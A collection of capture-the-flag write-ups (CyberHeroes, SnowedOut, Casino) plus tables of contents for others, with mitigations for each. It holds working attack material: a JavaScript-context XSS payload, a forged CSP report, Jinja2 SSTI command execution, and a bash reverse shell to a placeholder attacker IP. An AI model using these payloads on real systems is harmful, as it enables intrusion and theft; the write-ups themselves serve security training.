                                                  |     -> copy zeus's authorized_keys + id_rsa
                                                  |
                                                  |-- ssh2john + john + rockyou -> id_rsa passphrase: snowflake
                                                        |
                                                        |-- ssh as zeus -> flag 2 (user)
                                                              |
                                                              |-- find -user zeus -> root:zeus web directory
                                                              |-- read backdoor PHP source -> hardcoded password
                                                              |-- trigger backdoor (?ip=&port=) -> root
                                                                    |
                                                                    |-- flag 3 (root)
                                                                    |-- grep -r "flag{" / -> flag 4 (bonus, /etc/ssl/private/.b0nus.fl4g)

Mitigations

Parameterize the search.php query (prepared statements) to close the SQL injection entry point the entire chain depends on.
Enforce a password policy / reject breached passwords so accounts like prometheus and SSH keys like zeus's aren't crackable from a common wordlist in minutes.
Do not rely on an unguessable filename as the only upload control - pair it with strict extension/MIME allow-listing, storage outside the webroot, and disabling script execution in the upload directory; and never let application data (the chats table) hold the mapping from a guessable identifier back to the real protected filename.
Remove SUID bits from utilities that don't need them, or have them validate that the invoking user actually owns/can already access the source path before copying it - cputils should not let www-data read zeus's private files just because the binary itself is owned by zeus.
Audit and remove leftover attacker tooling (backdoor webshells, planted scripts) instead of leaving it in place with only a hardcoded password for protection - and don't leave application/webroot directories group-readable to standard user accounts.
Rotate and re-secure the box entirely after any confirmed compromise; the prometheus.txt note makes clear a prior attacker had already established persistent root access before this engagement began.

TryHackMe - CyberHeroes Writeup

Yogeshwar Peela — Wed, 09 Sep 2026 15:28:58 +0000

Summary

CyberHeros is an easy-rated web challenge built on the iPortfolio Bootstrap template. The site advertises a "login page" challenge directly in its About section. Inspection of login.html reveals that authentication is performed entirely client-side in JavaScript, with the username hardcoded in plaintext and the password obfuscated by a trivial string-reversal function. Once the credentials are recovered from the page source, the same client script reveals the exact filename of a flag file hosted on the webserver, constructed dynamically from the submitted username and password. No exploitation of the server itself is required - the vulnerability is a client-side logic flaw combined with a predictable, credential-derived file path.

Target: <MACHINE_IP>
Category: Web
Difficulty: Easy
Key weakness: Client-side authentication with hardcoded/obfuscated credentials in JS, plus a predictable flag filename built from those credentials

1. Reconnaissance

Confirmed host is up and scanned open ports:

nmap -A -Pn <MACHINE_IP> -o nmap

Results:

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
80/tcp open  http    Apache httpd 2.4.48 (Ubuntu)

http-title identified the site as "CyberHeros : Index", running the iPortfolio Bootstrap template.

2. Initial Web Enumeration

Pulled the index page and reviewed static assets (aos.js, purecounter.js, validate.js) - all confirmed to be unmodified template vendor libraries, no custom logic there.

The index page's About section directly hints at the objective:

We find vulnerabilities in the website legally... find the vuln on our login page and login to join us.

Nav bar links to login.html.

3. Directory Enumeration

gobuster dir -u http://<MACHINE_IP> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -t 50

Notable results:

assets                (Status: 301)
changelog.txt         (Status: 200) [Size: 2756]
index.html            (Status: 200) [Size: 6568]
login.html            (Status: 200) [Size: 5753]

No PHP backend, no admin panel, no backup files - confirming the target is static/client-side only.

4. Inspecting login.html

Fetched the login page source directly:

curl http://<MACHINE_IP>/login.html

The page ships an inline <script> block containing the entire authentication logic:

function authenticate() {
  a = document.getElementById('uname')
  b = document.getElementById('pass')
  const RevereString = str => [...str].reverse().join('');
  if (a.value=="h3ck3rBoi" & b.value==RevereString("54321@terceSrepuS")) {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
        document.getElementById("flag").innerHTML = this.responseText;
      }
    };
    xhttp.open("GET", "RandomLo0o0o0o0o0o0o0o0o0o0gpath12345_Flag_"+a.value+"_"+b.value+".txt", true);
    xhttp.send();
  }
}

Two things fall out of this immediately:

The credential check happens entirely client-side, with the username hardcoded (h3ck3rBoi) and the password only lightly obfuscated via string reversal.
On a successful check, the script requests a flag file whose name is dynamically built from the raw username and password values - meaning the filename itself is fully derivable from the source, with no need to actually trigger the JS in a browser.

5. Recovering the Credentials

Reversing the obfuscated password string by hand:

54321@terceSrepuS  ->  SuperSecret@12345

Recovered credentials:

username: h3ck3rBoi
password: SuperSecret@12345

6. Retrieving the Flag

Reconstructed the flag filename directly from the JS template string and requested it with curl, bypassing the browser/JS entirely:

curl "http://<MACHINE_IP>/RandomLo0o0o0o0o0o0o0o0o0o0gpath12345_Flag_h3ck3rBoi_SuperSecret@12345.txt"

Response:

Congrats Hacker, you made it !!
Go ahead and nail other challenges as well :D

flag{REDACTED}

Key Vulnerabilities

#	Vulnerability	Location	Impact
1	Client-side authentication logic	`login.html` inline `<script>`	Credentials and pass/fail logic fully readable in page source, no server-side verification
2	Weak obfuscation (string reversal) of password	Inline JS `RevereString()`	Trivial to reverse by hand, provides no real protection
3	Predictable, credential-derived sensitive file path	Inline JS `xhttp.open(...)` URL construction	Flag/secret file directly retrievable via curl once credentials are known, without ever executing the JS or submitting the form

Attack Chain

Recon (nmap: 22, 80 open)

    |

    v

Enumerate index.html -> hints at login.html

    |

    v

gobuster -> confirms login.html, no backend endpoints

    |

    v

curl login.html -> read inline <script> source

    |

    v

Extract hardcoded username + reverse obfuscated password

    |

    v

Derive flag filename from JS template string (no browser needed)

    |

    v

curl flag file directly -> flag captured

Mitigations

Never perform authentication decisions client-side; all credential validation must happen on a trusted server, with the client only submitting credentials over an authenticated session.
Do not rely on obfuscation (encoding, reversal, simple ciphers) as a substitute for real access control - anything shipped to the client is fully readable by the client.
Do not derive sensitive resource paths (flags, secrets, admin files) from data that is already exposed to the client, such as hardcoded credentials in JS - this makes the resource trivially reachable without ever satisfying the intended check.
Serve sensitive files only behind server-side, session-validated access checks, and avoid predictable or pattern-based filenames for anything not meant to be publicly enumerable.

WebVersePro : SnowedOut writeup

Yogeshwar Peela — Tue, 01 Sep 2026 13:03:18 +0000

1. Overview

The target is "Pinehollow Plow Tracker," a fictional city snow-plow dashboard running on PHP 8.2.33 behind Cloudflare. The page accepts a zone GET parameter that "centers" the map on a named route zone. The objective is to get the app to reveal the flag.

2. Recon

Fetching the root page:

curl -s https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/

Three things stand out in the HTML:

The zone value is reflected into an inline <script> block that builds a config object:

  <script nonce="...">
  var CFG = {zone:"Citywide", center:[44.86,-93.42], updatedEvery:900};
  </script>

A hidden solve banner sits in the markup, unused until triggered:

  <div id="wv-solve" class="pt-solve" hidden></div>

poll.js polls a status endpoint every 2 seconds and reveals that banner (with the flag) once the server reports success:

  fetch("/__status.php", { credentials: "include" })
    .then(r => r.json())
    .then(d => { if (d && d.solved && d.flag) reveal(d.flag); });

Checking that endpoint directly confirms a simple state machine:

curl -s https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__status.php
# {"solved":false,"flag":null}

So the actual win condition is flipping solved to true server-side - not merely getting an alert() box to pop in a browser. robots.txt and the other static assets (map.js, plow.css) contain nothing else of interest; map.js reads CFG.zone and writes it back to the DOM safely via textContent.

3. Confirming the Injection Point

Testing whether zone is escaped when reflected into the inline script:

curl -s 'https://.../?zone=test123' | grep -o 'var CFG = {.*}'
# var CFG = {zone:"test123", center:[44.86,-93.42], updatedEvery:900};

Trying to break out of the string with a JS-context payload:

curl -s -G 'https://.../' --data-urlencode 'zone="};alert(1);//' \
  | grep -o 'var CFG = {.*}'

var CFG = {zone:""};alert(1);//", center:[44.86,-93.42], updatedEvery:900};

The value is interpolated into the script with no escaping of quotes. zone:"" closes the string and the object literal early, }; ends the statement, alert(1); becomes live JavaScript, and the trailing // comments out the rest of the original line so the page still parses cleanly. Opening the crafted URL in a browser confirms the alert(1) fires.

4. Reading the CSP Header

curl -s -I https://.../ | grep -i content-security

content-security-policy-report-only: default-src 'self'; script-src 'nonce-<per-response>' 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; report-uri /__csp-report.php

Two details matter:

It's Content-Security-Policy-Report-Only, not an enforcing Content-Security-Policy. Report-only mode never blocks script execution - it only asks the browser to send a violation report. So this header does nothing to stop the injected alert(1) from running.
Even if it were enforcing, the nonce wouldn't help here. The injected code isn't a new <script> tag - it executes inside the same inline <script nonce="..."> block the server already trusts, because the injection point is a value interpolated into that block's source. Nonce-based CSP stops attackers from adding new script elements; it does nothing when the attacker's code lands inside an already-nonced element via unescaped interpolation.

The policy does point violation reports at a dedicated endpoint, /__csp-report.php - worth noting for later.

5. Dead Ends: Chasing a Classic XSS Detector

Before finding the real solve condition, it's worth documenting what doesn't work, since this challenge deliberately avoids the usual patterns:

Just popping alert(1) and re-checking /__status.php - no change. There's no headless browser on the server watching for a JS-level side effect from a single request.
Exfiltrating to an external webhook (fetch("https://webhook.site/...") injected via the same payload) - no change either. The challenge isn't waiting for outbound interaction to a third party.
Directly POSTing to /__status.php (e.g. -d 'solved=true') - rejected; the endpoint doesn't accept client-supplied state.

This rules out both "headless-browser-visits-the-payload" and "trust-the-client" solve mechanisms.

6. The Actual Solve Condition

Since the CSP is report-only and report-uri points at /__csp-report.php, the natural hypothesis is that the backend treats an incoming, well-formed CSP violation report as proof that the injected script actually executed in a browser and triggered a (simulated) violation - i.e. the challenge's detection logic lives server-side in that report handler, not in an automated headless-browser check.

Sending a crafted report that matches the shape a real browser would produce for this exact policy:

curl -s -X POST 'https://.../__csp-report.php' \
  -H 'Content-Type: application/csp-report' \
  -d '{
    "csp-report": {
      "document-uri": "https://.../?zone=test",
      "violated-directive": "script-src",
      "original-policy": "default-src '\''self'\''; script-src '\''nonce-xxx'\'' '\''self'\''; style-src '\''self'\'' '\''unsafe-inline'\''; img-src '\''self'\'' data:; report-uri /__csp-report.php",
      "blocked-uri": "inline",
      "source-file": "https://.../?zone=test",
      "line-number": 1,
      "column-number": 1,
      "status-code": 200
    }
  }' \
  -c cookies.txt

Server responds 204 No Content and sets a session cookie. Re-checking the status endpoint with that cookie:

curl -s -b cookies.txt https://.../__status.php

{"solved":true,"flag":"WEBVERSE{[REDACTED]}"}

The session is now marked solved, and poll.js in a real browser would reveal the on-page banner with the flag.

7. Full Reproduction (Copy-Paste)

# 1. Confirm the JS-context injection (optional, for verification)
curl -s -G 'https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/' \
  --data-urlencode 'zone="};alert(1);//' | grep -o 'var CFG = {.*}'

# 2. Submit a CSP violation report matching the page's policy, saving the session cookie
curl -s -X POST 'https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__csp-report.php' \
  -H 'Content-Type: application/csp-report' \
  -d '{"csp-report":{"document-uri":"https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/?zone=test","violated-directive":"script-src","original-policy":"default-src '\''self'\''; script-src '\''nonce-xxx'\'' '\''self'\''; style-src '\''self'\'' '\''unsafe-inline'\''; img-src '\''self'\'' data:; report-uri /__csp-report.php","blocked-uri":"inline","source-file":"https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/?zone=test","line-number":1,"column-number":1,"status-code":200}}' \
  -c cookies.txt

# 3. Retrieve the flag
curl -s -b cookies.txt https://c488e012-4940-snowedout-47f5c.events.webverselabs-pro.com/__status.php

Result:

{"solved":true,"flag":"WEBVERSE{[REDACTED]}"}

8. Root Cause

Unescaped reflection into a JS string literal. The zone query parameter is written directly into an inline <script> block without JSON/JS-string encoding, allowing an attacker to break out of the string and inject arbitrary statements.
CSP deployed in report-only mode. A correctly configured nonce-based script-src would ordinarily stop injected <script> tags, but here it wasn't even enforcing - so it provided no runtime protection at all, only telemetry.
The report endpoint trusts client-submitted reports as proof of exploitation, rather than verifying server-side that a real browser executed the payload (e.g. via a headless-browser bot visiting the crafted URL). This makes the "detection" itself forgeable: any client that can construct a plausible CSP report body can mark the challenge solved without ever running the injected JavaScript.

9. Fix Recommendations

Never interpolate user input into inline <script> source via string concatenation. Encode values with JSON.stringify() (escaping <, >, &, and quotes) before embedding them, or better, pass data via a data-* attribute and read it with textContent/getAttribute, as map.js already does safely elsewhere on this page.
Enforce the CSP (Content-Security-Policy, not -Report-Only) so that even if an injection point exists, arbitrary inline script still can't execute.
If using CSP reports as a solve-detection mechanism for a training/CTF environment, validate them against server-side state (e.g. correlate document-uri/blocked-uri with a nonce or challenge token that was actually served and can't be guessed or replayed), rather than accepting any well-formed report body at face value.

HackSmarter - Casino Writeup

Yogeshwar Peela — Tue, 25 Aug 2026 13:04:45 +0000

Summary

Casino is a Flask-based "Guest WiFi & Portal" resort captive portal. A leaked JS source-map exposes an unauthenticated internal API endpoint (/api/v1/rooms/status) that dumps the entire guest database, giving away valid room-number/last-name pairs used by the login form. Logging in as a leaked guest exposes a display_name field on /profile that is vulnerable to server-side template injection (Jinja2 SSTI), leading to RCE as www-data inside the app's Docker container. From there, a readable .bash_history in another user's home directory leaks a plaintext MySQL password that gets reused as a local su password, and group membership in adm grants read access to a provisioning log containing the root sync credential, which fully compromises the host.

Recon

Full TCP scan:

nmap -A -p- <MACHINE-IP> -o nmap

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Werkzeug httpd 3.1.8 (Python 3.10.18)
|_http-server-header: Werkzeug/3.1.8 Python/3.10.18
| http-title: Hack Smarter World - Guest WiFi & Portal
|_Requested resource was /login
2222/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u7 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Two SSH services on different ports and versions (Ubuntu on 22, Debian on 2222) is an early hint we're looking at a host fronting (or containing) a separate Linux environment. Port 80 is a Flask app served through Werkzeug's dev server, titled "Hack Smarter World - Guest WiFi & Portal".

Content discovery:

dirsearch -u http://<MACHINE-IP>/ -x 403,404

[07:42:29] 200 -    5KB - /login

whatweb http://<MACHINE-IP>/

http://<MACHINE-IP>/ [302 Found] ... RedirectLocation[/login] ... Werkzeug[3.1.8]
http://<MACHINE-IP>/login [200 OK] Bootstrap, HTML5, HTTPServer[Werkzeug/3.1.8 Python/3.10.18] ...

Everything unauthenticated redirects to /login, which is a captive-portal-style form asking for a room number and a guest's last name.

Source map leak → unauthenticated API disclosure

The login page loads a minified script:

curl http://<MACHINE-IP>/static/js/app.min.js

function initPortal(){console.log("Hack Smarter World WiFi Gateway Active");}document.addEventListener("DOMContentLoaded",initPortal);
//# sourceMappingURL=app.min.js.map

The sourcemap reference is still deployed and readable:

curl http://<MACHINE-IP>/static/js/app.min.js.map

{
  "version": 3,
  "file": "app.min.js",
  "sources": ["src/api/roomVerification.js"],
  "sourcesContent": [
    "// Front-Desk Kiosk API verification helper\nasync function checkRoomStatus(roomNum) {\n const res = await fetch('/api/v1/rooms/status?status=occupied');\n return await res.json();\n}"
  ]
}

This is dead code (the minified bundle never actually calls checkRoomStatus), but the sourcemap tells us the front-desk kiosk normally talks to an internal API at /api/v1/rooms/status. Hitting it directly, with no session and no auth:

curl 'http://<MACHINE-IP>/api/v1/rooms/status?status=occupied'

{
  "filter": "occupied",
  "rooms": [
    { "checkout": "2026-08-11", "guest_name": "[REDACTED]", "id": 1, "room_number": "[REDACTED]", "status": "occupied", "tier": "Standard Guest" },
    ...
    { "checkout": "2026-08-13", "guest_name": "[REDACTED]", "id": 98, "room_number": "[REDACTED]", "status": "occupied", "tier": "VIP Premium" }
  ],
  "status": "success",
  "total_records": 100
}

The endpoint has no authentication and no rate limiting, and returns all 100 occupied rooms with room_number and guest_name (last name), exactly the two fields the login form asks for. This is a broken access control / IDOR issue: an internal kiosk API was exposed on the same origin as the guest portal with no distinction in trust level.

Login bypass via leaked guest data

Picking an arbitrary entry (room [REDACTED], last name [REDACTED]) and logging in:

curl -i -c cookies.txt \
  -X POST 'http://<MACHINE-IP>/login' \
  -d 'room_number=[REDACTED]' \
  -d 'last_name=[REDACTED]'

HTTP/1.1 302 FOUND
Location: /dashboard
Set-Cookie: session=.eJxVjk0LgkAQhv_KNmcFM_rAW5ewmyTkIUK2dXQXXVd2Zw8h_ve2iKDTDC_PPPPOULcDdxIdZLcZGIUBzguBzkEER08SR1KCEzaMDMu56FmpuSW0rDJ2aFiuOhmXEwagUie1gvtyj6BRbhr4sx65Rsig5JZLdjEfa-fRhUczCImiN57qJvgDlSbpLk4O8XoTqFZZR3_3IQxdf9nXZo3R9ej1Ay1k230SAan3CtdzwQqLWnkNy_ICHbNNhg.ao2Bsg.xtUmaPOrplT2GjjTUiNhQsFy1fs; HttpOnly; Path=/

The session cookie is enough to reach /dashboard, which now greets us as "[REDACTED]" in Room [REDACTED]: full account takeover of a guest that was never authenticated by anything other than data the API itself leaked.

SSTI discovery on /profile

The dashboard links to /profile, which has a single editable field, display_name, that's reflected straight back into the page ("Welcome Back, [REDACTED]!"). Reflected user input into a Flask app is worth testing for Jinja2 SSTI:

curl -i -b cookies.txt -c cookies.txt \
  -X POST 'http://<MACHINE-IP>/profile' \
  -d 'display_name={{7*7}}'

HTTP/1.1 200 OK
...
<h5 ...>Welcome Back, 49!</h5>
<input ... value="49" required>

{{7*7}} evaluated to 49, the field is passed straight into a Jinja2 render_template_string-style call with no sanitization or sandboxing. This is a textbook server-side template injection.

First RCE attempt — failed (shell quoting, not a WAF)

The obvious next step is breaking out to os.popen through Jinja2's object graph. Two different gadget payloads were tried here, both wrapped in single-quoted -d arguments containing embedded single quotes around identifiers like 'os' and 'id'. Both attempts came back as HTTP/1.1 500 INTERNAL SERVER ERROR.

It's tempting to assume a WAF or input filter is stripping the payload, but that's not what's happening here: there's no WAF in front of this app at all. The actual bug is in the shell invocation, not the server.

In POSIX shells, a ' always closes the currently open single-quoted string, there's no escaping inside single quotes. So bash/zsh parses a payload like this into several concatenated fragments, splitting apart wherever an internal ' appears:

'display_name={{config.__class__.__init__.__globals__[' + os + '].popen(' + id + ').read()}}'

os and id are then evaluated as unquoted shell words, not literal text. Since there's no os or id command/variable expansion that produces anything useful here, curl ends up sending a mangled body where the Python identifiers os and id are no longer inside quotes at all, from Jinja2's point of view that's a Python NameError / syntax error (os and id are undefined names in that context), which the Flask app turns into the generic Werkzeug 500 page. -d also sends the body completely raw with no URL-encoding, so nothing was normalizing the broken quoting either.

The fix is to stop letting the shell tear apart the payload's internal quotes. Wrapping the argument in double quotes (so the payload's single quotes survive literally) and switching to --data-urlencode (so reserved characters like {, }, and spaces are sent correctly instead of raw) resolves it cleanly.

Successful RCE via `--data-urlencode`

curl -i -b cookies.txt -c cookies.txt \
  -X POST 'http://<MACHINE-IP>/profile' \
  --data-urlencode "display_name={{ lipsum.__globals__['os'].popen('id').read() }}"

HTTP/1.1 200 OK
...
<h5 ...>Welcome Back, uid=33(www-data) gid=33(www-data) groups=33(www-data)
!</h5>
<input ... value="uid=33(www-data) gid=33(www-data) groups=33(www-data)
" required>

lipsum is one of Jinja2's default globals ({{ lipsum }} for generating placeholder text) and, like cycler, exposes __globals__ even though it isn't wrapped by the sandbox the app clearly isn't using anyway. With the quoting fixed, os.popen('id').read() executes server-side and confirms code execution as www-data.

Reverse shell

With confirmed RCE, catching a shell with penelope:

penelope listen -p 4444

curl -i -b cookies.txt -c cookies.txt \
  -X POST 'http://<MACHINE-IP>/profile' \
  --data-urlencode "display_name={{ lipsum.__globals__['os'].popen('bash -c \"bash -i >& /dev/tcp/<ATTACKER-IP>/4444 0>&1\"').read() }}"

[+] [New Reverse Shell] => 5ee06b607cca <MACHINE-IP> Linux-x86_64 👤 www-data(33) 😍️ Session ID <1>
[+] Agent deployed via /usr/local/bin/python3

www-data@5ee06b607cca:/app/app$ whoami
www-data
www-data@5ee06b607cca:/app/app$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Confirming we're inside a Docker container

The shell prompt (5ee06b607cca) is a container-ID-style hostname, not a normal host name, and the app root confirms it:

www-data@5ee06b607cca:/app/app$ cd ..
www-data@5ee06b607cca:/app$ ls
Dockerfile  app  docker-compose.yml  entrypoint.sh  requirements.txt  scripts  start.sh  supervisord.conf
www-data@5ee06b607cca:/app$ cat Dockerfile
FROM python:3.10-slim-bullseye
...
RUN setcap 'cap_net_bind_service=+ep' $(readlink -f $(which python3))
RUN mkdir -p /var/run/sshd
RUN sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /etc/ssh/sshd_config
RUN sed -i 's/#PubkeyAuthentication yes/PubkeyAuthentication yes/' /etc/ssh/sshd_config
WORKDIR /app
COPY requirements.txt /app/
RUN pip install --no-cache-dir -r requirements.txt
COPY . /app/
COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf
RUN chmod +x /app/entrypoint.sh /app/scripts/setup_system.sh
EXPOSE 80 22
ENTRYPOINT ["/app/entrypoint.sh"]

So the whole box is a single Docker container running Flask (via supervisord), OpenSSH, and sudo, everything we're about to do from here on happens inside that container, there's no host/container pivot needed. This also explains the two different SSH banners from the nmap scan: port 22 belongs to the container's own sshd, port 2222 is a separate service on the outer host/hypervisor.

App source, confirming the SSTI sink lives in the Flask route backing /profile (app.py) and that guest data is pulled from a local SQLite DB seeded at build time (database.py, deterministically seeded with random.seed(42), which is exactly why the guest API dump above was reproducible/enumerable):

www-data@5ee06b607cca:/app/app$ ls -la
-rw-rw-r-- 1 www-data www-data  4639 Aug 11 04:14 app.py
-rw-rw-r-- 1 www-data www-data  4300 Aug  9 22:30 database.py
-rw-rw-rw- 1 www-data www-data 24576 Aug  9 22:30 resort.db

Local enumeration → password reuse

www-data@5ee06b607cca:/app$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
george:x:1000:1000::/home/george:/bin/bash
david:x:1001:1001::/home/david:/bin/bash
www-data@5ee06b607cca:/app$ ls /home
david  george

Both george's and david's home directories are world-readable, and george's has a .bash_history sitting there with www-data permissions to read:

www-data@5ee06b607cca:/home/george$ cat .bash_history
cd /var/www/app
...
cd /home/george
ls -la
ssh-keygen -t rsa -b 2048
cat .ssh/id_rsa.pub >> .ssh/authorized_keys
chmod 644 .ssh/id_rsa
sudo systemctl restart ssh
...
su david
[REDACTED]
exit
history -c
mysql -u david -p'[REDACTED]' -h 127.0.0.1 resort_db
...

Two findings here:

chmod 644 .ssh/id_rsa: george made his own SSH private key world-readable (this is exactly the user.txt flag's hint).
su david / [REDACTED]: george typed david's su password directly into the shell (it landed in history as its own line instead of being consumed by the password prompt), and the same password shows up again reused for MySQL. Classic password reuse across a shell login and a database account.

george's user flag is readable directly as www-data:

www-data@5ee06b607cca:/home/george$ cat user.txt
HSM{REDACTED}

Privilege escalation → david

www-data@5ee06b607cca:/home/george$ su david
Password: 
david@5ee06b607cca:/home/george$ id
uid=1001(david) gid=1001(david) groups=1001(david),4(adm)

david isn't in sudoers:

david@5ee06b607cca:~$ sudo -l
[sudo] password for david: 
Sorry, user david may not run sudo on 5ee06b607cca.

But david is a member of the adm group, which on Debian/Ubuntu grants read access to most of /var/log, including files that are 640 root:adm:

david@5ee06b607cca:~$ ls -la /var/log
-rw-r----- 1 root adm     612 Aug 25 11:35 provisioning.log

david@5ee06b607cca:~$ grep -r root /var/log
/var/log/provisioning.log:2026-08-01 03:14:30 [SUCCESS] Applied security policy for root access.
/var/log/provisioning.log:2026-08-01 03:14:31 [DEBUG] Saved system root sync credential: [REDACTED]

A provisioning/build script left a debug-level log entry containing the root account's password in plaintext, readable by anyone in adm.

Root

david@5ee06b607cca:~$ su root
Password: 
root@5ee06b607cca:/home/david# whoami
root
root@5ee06b607cca:~# cat root.txt
HSM{REDACTED}

Attack Chain

Unauthenticated /login
        │
        ▼
Leaked sourcemap (app.min.js.map)
        │  reveals internal kiosk API path
        ▼
GET /api/v1/rooms/status?status=occupied  (no auth)
        │  dumps room_number + guest_name for all 100 guests
        ▼
POST /login  (room_number=[REDACTED], last_name=[REDACTED])
        │  guest account takeover via leaked data
        ▼
/profile → display_name reflected unsanitized
        │  Jinja2 SSTI ({{7*7}} → 49)
        ▼
{{ lipsum.__globals__['os'].popen(...) }}   [--data-urlencode fixes shell-quoting break]
        │  RCE as www-data (inside Docker container)
        ▼
Readable /home/george/.bash_history
        │  leaks david's su/MySQL password (reuse) + world-readable id_rsa → user.txt
        ▼
su david  (adm group membership)
        │  read access to /var/log/provisioning.log
        ▼
Plaintext root password in provisioning.log
        │
        ▼
su root → root.txt

Key Vulnerabilities & Mitigations

#	Vulnerability	Impact	Mitigation
1	Deployed JS sourcemap (`app.min.js.map`) leaks internal API path	Recon → exposes hidden endpoint	Never ship `.map` files to production; strip source maps in the build pipeline
2	`/api/v1/rooms/status` has no authentication	Full guest PII dump (room + last name), enables login bypass	Require session/auth on all internal APIs; never trust "kiosk-only" obscurity
3	Guest login only checks room number + last name (both leaked by #2)	Account takeover of any guest	Add a real secret (booking reference, OTP) not derivable from other endpoints
4	`display_name` rendered via unsandboxed Jinja2 (`render_template_string`)	Server-side template injection → RCE as `www-data`	Never pass user input into `render_template_string`; use `render_template` with a fixed template and pass data as a context variable only
5	World-readable `george` and `david` home directories, a `.bash_history` with credentials, and a self-chmod'd `644` SSH private key	Credential and key disclosure to any local user	`chmod 700` home directories, never type passwords on the command line, disable/clear history for sensitive commands, `chmod 600` private keys
6	Password reuse between `su` login and MySQL account	One leaked credential compromises multiple services	Unique credentials per service, use a secrets manager
7	`adm` group grants read access to `/var/log`, and a provisioning script logged the root password at DEBUG level	Local user → root	Never log secrets, even at debug level; scrub/rotate provisioning logs; avoid giving broad log-read groups to non-admin accounts

DEV Community: Yogeshwar Peela

HackTheBox: Odori Writeup

Summary

Table of Contents

1. Reconnaissance

1.1 Nmap

1.2 SMB Enumeration

2. Offline Disk Analysis

2.1 Sanity-checking the disk image

2.2 Identifying the OS and filesystem layout

3. Decrypting BitLocker and Booting the VM

3.1 Building the analysis VM

3.2 Cracking the BitLocker hash

3.3 Bypassing the Windows logon with a recovery environment

4. Credential Dumping (Windows)

4.1 Local hashes via mimikatz

4.2 Finding a cleartext password in Credential Manager

5. Gaining a Shell (Linux)

5.1 SSH authenticates but hangs

5.2 SFTP works

5.3 Diagnosing the restricted shell

5.4 Escaping the restricted shell

6. User Flag

7. Privilege Escalation

7.1 Enumeration

7.2 The archiver script

7.3 Attempt 1: tar argument injection (failed)

7.4 Attempt 2: __pycache__ bytecode poisoning (successful)

7.5 Automating the exploit

8. Root Flag

9. Attack Chain Summary

10. Mitigations

11. References

TryHackMe: Gallery Writeup

Summary

1. Recon

2. SQL Injection Auth Bypass

3. Admin Panel -> Arbitrary File Upload -> RCE

4. Source Review and Database Access

5. Local Enumeration and Lateral Movement to mike

6. Privilege Escalation: sudo rootkit.sh -> nano GTFOBin

Key Vulnerabilities

Attack Chain

Mitigations

TryHackMe: PlottedTMS Writeup

Summary

1. Reconnaissance

2. Web Enumeration - Port 80

3. Web Enumeration - Port 445

4. Database Dump and Credential Cracking

5. SQL Injection Auth Bypass

6. Arbitrary File Upload to RCE

7. Privilege Escalation - www-data to plot_admin (Cron + Writable Script Dir)

8. Privilege Escalation - plot_admin to root (doas + openssl)

Key Vulnerabilities

Attack Chain

Mitigations

TryHackMe: MD2PDF Writeup

Summary

1. Reconnaissance

2. Confirming HTML Injection

3. Identifying the Rendering Engine's Capabilities (SSRF Test)

4. Enumerating the Application for Internal-Only Endpoints

5. Chaining HTML Injection + SSRF to Reach /admin

6. Result

7. Root Cause Analysis

8. Remediation Recommendations

Timeline Summary

9. Attack Chain

10. Key Vulnerabilities and Mitigations

TryHackMe - SeaSurfer writeup

Executive Summary

1. Reconnaissance

1.1 Port Scan

1.2 VHost Disclosure via Response Header

2. Main Site Enumeration - seasurfer.thm

3. internal.seasurfer.thm - Receipt Generator

3.1 Root Cause - No Output Encoding

3.2 Confirming HTML Injection

3.3 SSRF - Outbound Callback

7.4 Attempt 2: `pycache` bytecode poisoning (successful)

5. Chaining HTML Injection + SSRF to Reach `/admin`

6. Recovering `connor`'s credentials (cipher reversal)

7. SSH access as `connor`